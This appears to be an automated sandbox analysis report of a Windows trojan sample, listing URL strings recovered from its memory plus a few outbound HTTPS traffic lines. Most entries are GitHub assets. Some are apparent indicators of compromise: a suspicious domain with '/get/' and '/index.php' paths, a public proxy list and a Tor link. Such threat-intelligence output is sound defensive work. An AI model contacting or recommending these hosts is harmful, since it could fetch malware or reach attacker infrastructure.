Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/articles/about-issue-and-pull-request-templates
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/site-policy/github-terms/github-terms-of-service
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://education.github.com
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Ubuntu:400
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github-cloud.s3.amazonaws.com
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.blog
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List.git
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt"
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt?raw=true
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/raw/master/http.txt
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/fluidicon.png
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/notifications/beta/shelf
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_as
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_m
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_g
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-cbcee078
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-5e0904652c1c.j
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_react-code-view_components_directory_Direc
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/behaviors-bde2e016b2b8.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/code-ac2c2f3d57f1.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/code-menu-2658b004279a.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark-a167e256da9c.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_dimmed-d11f2cf8009b.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_high_contrast-ea7373db06c8.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_tritanopia-9b32204967c6.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/element-registry-58eba3853ad3.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/environment-4ff0d843ea45.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/github-8eaab228448a.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/github-elements-91586b615d25.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/global-05ed4a7e07b5.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/keyboard-shortcuts-dialog-9b7386ec0bee.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light-0eace2597ca3.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light_colorblind-af6c685139ba.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light_high_contrast-578cdbc8a5a9.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light_tritanopia-5cb699a7e247.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/notifications-global-99d196517b1b.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/pinned-octocat-093da3e6fa40.svg
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/primer-08e422afeb43.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/primer-primitives-2ef2a46b27ee.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/react-code-view-86acfaa21c17.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/react-lib-1fbfc5be2c18.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/repository-6247ca238fd4.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/sessions-1164ee5f3e37.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_commit-attribution_index_ts-ui_packages_commit-ch
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_failbot_failbot_ts-afaa9a250f2e.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_paths_index_ts-6ac43f859e31.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_react-core_register-app_ts-f7fc9821bc0f.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_ref-selector_RefSelector_tsx-858bb94813b1.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-72c9fbde5ad4.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modu
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-6890e890956f.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_module
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_inde
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_j
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_hotkey_dist_index_js-node_modules
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_hydro-analytics-client_dist_analy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-c9
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-5b376145beff.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-5bff297a06
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_scroll-into-vi
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_octicons-react_dist_index_esm_js-
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionMenu_ActionMe
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Avatar_Avatar_js-no
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-ebfceb11
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-05
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_IconButton_j
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ConfirmationDialog_
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Dialog_js-node_modu
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_FormControl_FormCon
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Overlay_Overlay_js-
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_PageLayout_PageLayo
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Text_Text_js-node_m
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TreeView_TreeView_j
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_react-router-dom_dist_index_js-3b41341d5
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parse
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/wp-runtime-8cabb5e16f8b.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/favicons/favicon.png
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/favicons/favicon.svg
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7664000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C91CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/get/65d873db374a1e1
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/get/65d873db374a1e176528e54b
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com:443/index.php
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA781000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC1A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ktxcomay.com.vn
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://opengraph.githubassets.com/d510eef56fcf493b530c4a642192e5f13277b0cfc3a3219696e7493197a5e205/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.github.com/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://repository.gij.edu.gh
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://resources.github.com/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://resources.github.com/devops/fundamentals/devsecops/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://resources.github.com/learn/pathways/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skills.github.com/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.github.com?tags=dotcom-footer
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://user-images.githubusercontent.com/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.githubstatus.com/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html

Source: unknown	Network traffic detected: HTTP traffic on port 51465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55507
Source: unknown	Network traffic detected: HTTP traffic on port 55558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53600 -> 443
